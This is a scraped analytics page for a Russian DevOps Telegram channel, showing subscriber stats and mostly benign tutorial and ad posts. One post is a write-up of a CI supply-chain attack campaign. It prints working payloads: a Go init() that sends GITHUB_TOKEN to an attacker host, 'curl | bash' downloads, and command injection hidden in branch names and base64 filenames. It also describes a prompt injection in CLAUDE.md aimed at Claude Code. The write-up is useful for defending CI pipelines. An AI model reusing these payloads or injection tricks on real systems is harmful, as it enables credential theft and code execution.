en
Feedback
DeVops Библиотека

DeVops Библиотека

Open in Telegram

Гайды, уроки и книги для Devops специалситов по всем вопросам @workakkk

Show more
9 463
Subscribers
-324 hours
-77 days
-5030 days

Data loading in progress...

Attracting Subscribers
June '26
June '26
+6
in 0 channels
May '26
+59
in 0 channels
Get PRO
April '26
+86
in 0 channels
Get PRO
March '26
+139
in 0 channels
Get PRO
February '26
+269
in 1 channels
Get PRO
January '26
+305
in 0 channels
Get PRO
December '25
+107
in 0 channels
Get PRO
November '25
+190
in 0 channels
Get PRO
October '25
+118
in 0 channels
Get PRO
September '25
+378
in 3 channels
Get PRO
August '25
+205
in 0 channels
Get PRO
July '25
+457
in 1 channels
Get PRO
June '25
+299
in 0 channels
Get PRO
May '25
+117
in 0 channels
Get PRO
April '25
+3 767
in 1 channels
Get PRO
March '250
in 0 channels
Get PRO
February '250
in 0 channels
Get PRO
January '250
in 0 channels
Get PRO
December '240
in 0 channels
Get PRO
November '240
in 1 channels
Get PRO
October '240
in 1 channels
Get PRO
September '24
+26
in 0 channels
Get PRO
August '24
+652
in 0 channels
Get PRO
July '24
+641
in 0 channels
Get PRO
June '24
+849
in 1 channels
Get PRO
May '24
+360
in 35 channels
Get PRO
April '24
+339
in 44 channels
Get PRO
March '24
+334
in 20 channels
Get PRO
February '24
+181
in 0 channels
Get PRO
January '24
+302
in 43 channels
Get PRO
December '23
+1 888
in 39 channels
Date
Subscriber Growth
Mentions
Channels
03 June+1
02 June+2
01 June+3
Channel Posts
io_uring без розовых очков: 5 граблей, которые сожгли мне неделю, и где он реально быстрее epoll Прод. Сервис на Go, 80k RPS,
io_uring без розовых очков: 5 граблей, которые сожгли мне неделю, и где он реально быстрее epoll Прод. Сервис на Go, 80k RPS, p99 latency 12 мс. Читаю Phoronix, новость: "io_uring быстрее epoll в 2-4 раза". Решаю переписать сетевую часть. Через неделю - откат в master. p99 не упал, а вырос до 18 мс, CPU подскочил на 15%, под нагрузкой иногда залипает на 200-400 мс. Эта статья - не про "io_uring - будущее async I/O", а про то, что в этом будущем реально работает в 2026 году, что нет, и где меня обманули бенчмарки. https://habr.com/ru/articles/1039820/

2
🖥 C# Roadmap: с нуля до профи Практическое руководство по росту в C#-разработке. Материал собран для тех, кто хочет получить
🖥 C# Roadmap: с нуля до профи Практическое руководство по росту в C#-разработке. Материал собран для тех, кто хочет получить инженерную глубину, а не просто накликать CRUD по туториалам. Здесь последовательность изучения, лучшие практики, ресурсы и трезвый разбор того, как работать с ИИ-инструментами и оставаться востребованным. https://github.com/Develp10/Csharp_Roadmap/
940
3
👣 Твой код на Rust компилируется, проходит тесты и является UB. Ты просто об этом не знаешь Если взять случайный крейт с cra
👣 Твой код на Rust компилируется, проходит тесты и является UB. Ты просто об этом не знаешь Если взять случайный крейт с crates.io, поставить на него Miri и подождать минут пять, шанс увидеть красное сообщение про undefined behavior где-то в зависимостях стремится к единице. Чаще всего виноват не автор хитрого unsafe-блока ради скорости, а вполне обычная библиотека, которой пять лет, у которой звёзд на гитхабе больше, чем у твоего пет-проекта строчек кода, и которая всё это время спокойно лежит в продакшене. Самое неприятное в этой истории то, что компилятор ничего не скажет. Тесты пройдут. Бенчмарки покажут красивые наносекунды. А потом LLVM 19 обновится до LLVM 20, поменяет один проход оптимизации, и твой сервис начнёт ронять прод по понедельникам. Чтобы понять, почему так происходит, придётся залезть в три темы, которые в обычной жизни Rust-разработчика не встречаются: pointer provenance, Stacked Borrows и пришедшую им на смену Tree Borrows. https://uproger.com/tvoj-kod-na-rust-kompiliruetsya-prohodit-testy-i-yavlyaetsya-ub-ty-prosto-ob-etom-ne-znaesh/
1 039
4
Быстрый анализ загрузки через systemd-analyze На сервере все ок: железо норм, диски норм, но после ребута он думает о смысле
Быстрый анализ загрузки через systemd-analyze На сервере все ок: железо норм, диски норм, но после ребута он думает о смысле жизни секунд 40. Обычно лезешь сразу в сервисы, логи и смотришь что запустилось, а что еще нет. Но иногда юнит не падает, а просто висит в starting и ждёт сеть, DNS, диск или маунт. Что делает systemd-analyze systemd-analyze вскрывает сколько заняло ядро, сколько занял userspace, и какие юниты съели время. Кто тормозит systemd-analyze blame Она покажет список юнитов, отсортированный по времени старта. Важно: это не всегда время выполнения, а то, сколько юнит считался стартующим. Но обычно виновники видны сразу. Дерево зависимостей Когда юнит тормозит, часто причина не в нём, а в том, что он ждёт сеть, диск, другой сервис. systemd-analyze critical-chain Эта штука показывает цепочку, что блокировало путь до default.target. Видно кто кого ждал и где пробка. График загрузки для красивого разбора Если хочется визуально показать коллеге почему оно долго стартует, есть SVG-таймлайн. systemd-analyze plot > boot.svg Открываешь boot.svg в браузере и видишь полосочки, кто и когда стартовал. Вывод systemd-analyze это твой способ увидеть кто, где и почему тормозит загрузку и кто кого ожидает.
799
5
🖥 На Stepik обновили курс «C# с нуля до профи» Представьте: через четыре месяца вы открываете чужой .NET-проект и читаете ег
🖥 На Stepik обновили курс «C# с нуля до профи» Представьте: через четыре месяца вы открываете чужой .NET-проект и читаете его как книгу. IServiceCollection не вызывает ступора. async Task<IActionResult> пишется на автомате. Вы точно знаете, почему EF Core сгенерировал именно такой SQL - и как переписать запрос, чтобы он летал. Это не фантазия. Это результат после 16 модулей, в которых каждая концепция объясняется через код и закрепляется практикой. ООП, SOLID, LINQ, async/await, DI, EF Core, ASP.NET Core, Docker, Kubernetes - всё, что казалось магией, станет рабочим инструментом. А бонусом - портфолио проектов: от CLI-утилит и REST API до собственного SaaS с multi-tenancy, JWT и деплоем в Kubernetes под TLS. Скидка - 58% доступна 48 часов: https://stepik.org/a/282984/
899
6
🚀 Мощный панель управления для игровых серверов MCSManager — это современная веб-панель для управления серверами Minecraft,
🚀 Мощный панель управления для игровых серверов MCSManager — это современная веб-панель для управления серверами Minecraft, Steam и другими играми. Она позволяет легко управлять несколькими серверами с одного интерфейса, предлагая надежную систему разрешений для пользователей и поддержку многоязычности. 🚀 Основные моменты: - Быстрая установка игровых серверов с помощью встроенного магазина приложений. - Поддержка множества игр, включая Terraria и Project Zomboid. - Настраиваемый интерфейс с возможностью перетаскивания элементов. - Поддержка Docker и коммерческого хостинга. - Легковесная архитектура на TypeScript. 📌 GitHub: https://github.com/MCSManager/MCSManager
894
7
📎 Один бот, пять техник За неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый — curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить. Атака 1. avelino/awesome-go — кража токена через Go init() Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка. Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя. В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад: func init() { _ = exec.Command("bash", "-c", `curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` + `-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` + `https://recv.hackmoltrepeat.com/ &&` + `curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run() } Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер. Атака 2. project-akri/akri — прямая инъекция в shell-скрипт Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang: #!/usr/bin/env bash curl -sSfL https://hackmoltrepeat.com/molt | bash check_file_version() Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно. Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода. Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки: dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash) Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду: run: | echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref Это превращалось в: echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ... Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды. Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла Бот создал файл с именем, содержащим закодированную команду: documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда. Атака 5. ambient-code/platform — prompt injection в CLAUDE.md Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR. Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md. Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow. Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
1 084
8
⚡️ Вы слышали про Rust. Знаете, что он быстрый, безопасный и что за ним будущее. Осталось одно: сесть и выучить. Этот курс со
⚡️ Вы слышали про Rust. Знаете, что он быстрый, безопасный и что за ним будущее. Осталось одно: сесть и выучить. Этот курс со Stepik- кратчайший путь от «знаю что такое Rust» до «пишу на нём». 6 модулей, 50 уроков, 143 теста. Ownership, borrowing, traits, async, Tokio, Axum, макросы, WASM — всё разложено по полочкам и закреплено практикой. Никакого видео на 40 минут ради одной мысли. Подробный текст, много кода, реальные задачи после каждого урока. На выходе — портфолио из 10+ проектов: от CLI-утилит до REST API с базой данных. 48 часов действует скидка 55 процентов: stepik.org/course/269250
875
9
Шпаргалка Kubernetes
Шпаргалка Kubernetes
1 163
10
🐧 Лайфхак по Linux, который реально экономит время Команда find умеет не только искать файлы, но и сразу что-то с ними делат
🐧 Лайфхак по Linux, который реально экономит время Команда find умеет не только искать файлы, но и сразу что-то с ними делать через -exec. Пример: $ find ~/ -type f -exec ls -lah {} \; Что происходит: find находит все файлы и для каждого запускает ls, показывая права, размер и метаданные. Как работает -exec: - exec ls - команда, которую нужно выполнить - -lah - формат вывода (права, скрытые файлы, размеры) - {} - подставляет имя каждого найденного файла - \; - завершает команду (экранируем, иначе shell сломает) Полезно, когда нужно применить одно действие к куче файлов в разных местах. Важно: вместо \; можно использовать + тогда команда будет применяться сразу к группе файлов — быстрее и эффективнее Пример с несколькими командами: $ find . -name "*.txt" -exec wc {} \; -exec du -sh {} \; Считает слова и сразу показывает размер каждого файла. Сохрани — это база для работы с файлами в Linux.
1 104
11
Prometheus на пальцах: как устроен главный инструмент мониторинга 🔍 Разбираем архитектуру Prometheus без лишней теории - тол
Prometheus на пальцах: как устроен главный инструмент мониторинга 🔍 Разбираем архитектуру Prometheus без лишней теории - только суть: 1. Discovery & Retrieval Автоматически находит сервисы (например, в Kubernetes) и начинает собирать с них метрики. 2. Prometheus Server Главный мозг системы - ходит по таргетам, собирает данные, обрабатывает и управляет хранением. 3. TSDB Встроенная time-series база, где лежат все метрики - быстро отвечает как на realtime, так и на исторические запросы. 4. Pushgateway Нужен для короткоживущих задач - они пушат метрики перед завершением. 5. Exporters Адаптеры для сторонних систем - превращают их метрики в понятный для Prometheus формат. 6. Alertmanager Следит за правилами и шлёт алерты в Slack, почту и другие каналы. 7. PromQL + Grafana Пишешь запросы, строишь графики, собираешь дашборды. https://www.youtube.com/shorts/zix3HbQ96qc
1 154
12
⚡️ Чек-лист для твоего Linux сервера Перед тем как ставить проекты и открывать порты - приведи сервер в порядок. Мой чек-лист
⚡️ Чек-лист для твоего Linux сервера Перед тем как ставить проекты и открывать порты - приведи сервер в порядок. Мой чек-лист на первые 10 минут: - обнови систему и поставь базовые утилиты - создай отдельного пользователя и запрети root-login по SSH - включи firewall (UFW) и открой только нужные порты - настрой SSH-ключи вместо пароля - включи авто-обновления безопасности - зафиксируй таймзону и проверь логи - поставь fail2ban, чтобы брутфорс не убил сервер за ночь Это база, которая спасает 90% проблем на проде. sudo apt update && sudo apt -y upgrade sudo apt -y install htop curl wget git ufw fail2ban unattended-upgrades sudo timedatectl set-timezone Asia/Bangkok sudo adduser deploy && sudo usermod -aG sudo deploy sudo ufw allow OpenSSH && sudo ufw allow 80,443/tcp && sudo ufw --force enable sudo sed -i 's/^#?PasswordAuthentication./ PasswordAuthentication no/' /etc/ssh/sshd_config sudo sed -i 's/^#?PermitRootLogin./PermitRootLogin no/' /etc/ssh/sshd_config sudo systemctl restart ssh sudo dpkg-reconfigure --priority=low unattended-upgrades sudo systemctl enable --now fail2ban
1 234
13
🔐 Большинство курсов по кибербезопасности учат определения. Этот курс на Stepik учит думать как хакер. SQL-инъекции, XSS, CS
🔐 Большинство курсов по кибербезопасности учат определения. Этот курс на Stepik учит думать как хакер. SQL-инъекции, XSS, CSRF, эксплуатация бинарников, обход аутентификации - не в теории, а через живые задачи с реальными payload'ами. В финале - полноценный пентест-проект с CVSS-оценками и отчётом, как у профессиональных команд безопасности. Нулевой опыт? Не страшно. Всё - в легальной изолированной среде, с нуля до уровня пентест-собеседования. 👉 Начни здесь → https://stepik.org/a/279968/
834
14
Ты думаешь языки программирования - это просто код? На самом деле у каждого есть своя родина. C, Java, Go, Rust - все родилис
Ты думаешь языки программирования - это просто код? На самом деле у каждого есть своя родина. C, Java, Go, Rust - все родились в США. Python - из Нидерландов. Kotlin - Россия. Ruby - Япония. Scala - Швейцария. Фактически весь стек, на котором держится современный интернет - это глобальная сборка идей со всего мира. И чем дальше, тем сильнее это смешивается. Сохрани, чтобы не забыть, и подпишись на канал - здесь объясняю сложные вещи простым языком https://youtube.com/shorts/GXVX5fyEBVM?si=YgzKPCw-x0XG3doO
797
15
🧠 Контейнерный стек - кто за что отвечает 1. Podman 👉 альтернатива Docker без демона, можно запускать контейнеры rootless �
🧠 Контейнерный стек - кто за что отвечает 1. Podman 👉 альтернатива Docker без демона, можно запускать контейнеры rootless 🔗 https://podman.io 2. containerd 👉 низкоуровневый runtime, который реально контейнеры 🔗 https://containerd.io 3. CRI-O 👉 runtime специально для Kubernetes 🔗 https://cri-o.io 4. runc 👉 самый низкий уровень (OCI runtime) 🔗 https://github.com/opencontainers/runc 5. Buildah 👉 сборка образов без Docker 🔗 https://buildah.io 6. Kaniko 👉 сборка образов внутри Kubernetes 🔗 https://github.com/GoogleContainerTools/kaniko 7. nerdctl 👉 docker-подобный CLI для containerd 🔗 https://github.com/containerd/nerdctl 8. Rancher Desktop 👉 локальный Kubernetes + контейнеры 🔗 https://rancherdesktop.io 9. OrbStack 👉 быстрый dev environment для macOS 🔗 https://orbstack.dev 10. LXC / LXD 👉 системные контейнеры (почти как VM) 🔗 https://linuxcontainers.org 11. Colima 👉 лёгкая альтернатива Docker Desktop 🔗 https://github.com/abiosoft/colima 12. Lima 👉 лёгкая VM для macOS 🔗 https://github.com/lima-vm/lima 💡 Как это связать 👉 runc → запускает контейнер 👉 containerd / CRI-O → управляют контейнерами 👉 Podman / nerdctl → интерфейс 👉 Buildah / Kaniko → сборка 👉 Rancher / OrbStack / Colima → dev окружение 👉 Lima → VM база 👣 Полезные ресурсы Go 🚀Max @Golang_google
893
16
👣 Microsoft выкатили RustTraining. Вот лишь часть тем, которые сразу зацепили: - Async в продакшене - Конкурентность и runti+3
👣 Microsoft выкатили RustTraining. Вот лишь часть тем, которые сразу зацепили: - Async в продакшене - Конкурентность и runtime - Почему разработчикам на C/C++ стоит переходить на Rust - no_std — Rust без стандартной библиотеки - Зачем Rust разработчикам на C# - Системное программирование и продакшн - Unsafe Rust - управляемый риск - Phantom types - Машины состояний для протоколов И это только малая часть. Похоже, туда вложили очень много работы, точно стоит выделить время и пройтись. github.com/microsoft/RustTraining/
929
17
➡️ Архитектура Linux простыми словами Linux — это не просто система, а набор слоёв, которые работают вместе: 1. 🖥 Hardware Ж
➡️ Архитектура Linux простыми словами Linux — это не просто система, а набор слоёв, которые работают вместе: 1. 🖥 Hardware Железо: процессор, память, сеть — всё, что даёт вычислительную мощность 2. ⚙️ Kernel Ядро системы — управляет ресурсами и напрямую общается с железом 3. 💻 Shell Интерфейс (например, Bash), который переводит команды пользователя в язык ядра 4. 🛠 Utilities Системные утилиты (ls, grep, cp) — инструменты для работы с системой 5. 🌐 Applications Приложения: браузеры, плееры, IDE — то, с чем работает пользователь 📌 Как это работает вместе: Ты вводишь команду → shell передаёт её ядру → ядро обращается к железу → утилиты/приложения выполняют задачу Просто, но гениально. #Linux #DevOps #Backend
948
18
🐳 Docker Layer Caching Trick Многие Docker-сборки занимают 5–10 минут даже если вы изменили одну строку кода. Причина - непр
🐳 Docker Layer Caching Trick Многие Docker-сборки занимают 5–10 минут даже если вы изменили одну строку кода. Причина - неправильный порядок инструкций в Dockerfile. 🚫 Плохой Dockerfile COPY . /app RUN npm install RUN npm run build Если меняется любой файл в коде → слой COPY . меняется. Docker сбрасывает кэш и заново запускает: • npm install • build Даже если зависимости не менялись. ⏳ В итоге - каждая сборка почти с нуля. ✅ Правильный Dockerfile COPY package*.json /app RUN npm install COPY . /app RUN npm run build Теперь Docker работает умнее: если изменился только код: • слой npm install берётся из кэша • пересобирается только build ⚡ Время сборки До - ~10 минут После - ~30 секунд 📌 Золотое правило Dockerfile Сначала кладём то, что редко меняется: • package.json • package-lock.json • requirements.txt • go.mod А часто меняющееся - в конце: • исходный код • конфиги • assets 🚀 Результат • быстрее сборки Docker • быстрее CI/CD • быстрее деплой Иногда достаточно просто поменять порядок строк в Dockerfile. 🎯Полезные DEVOPS ресурсы 🚀 Max Docker в телеграм
940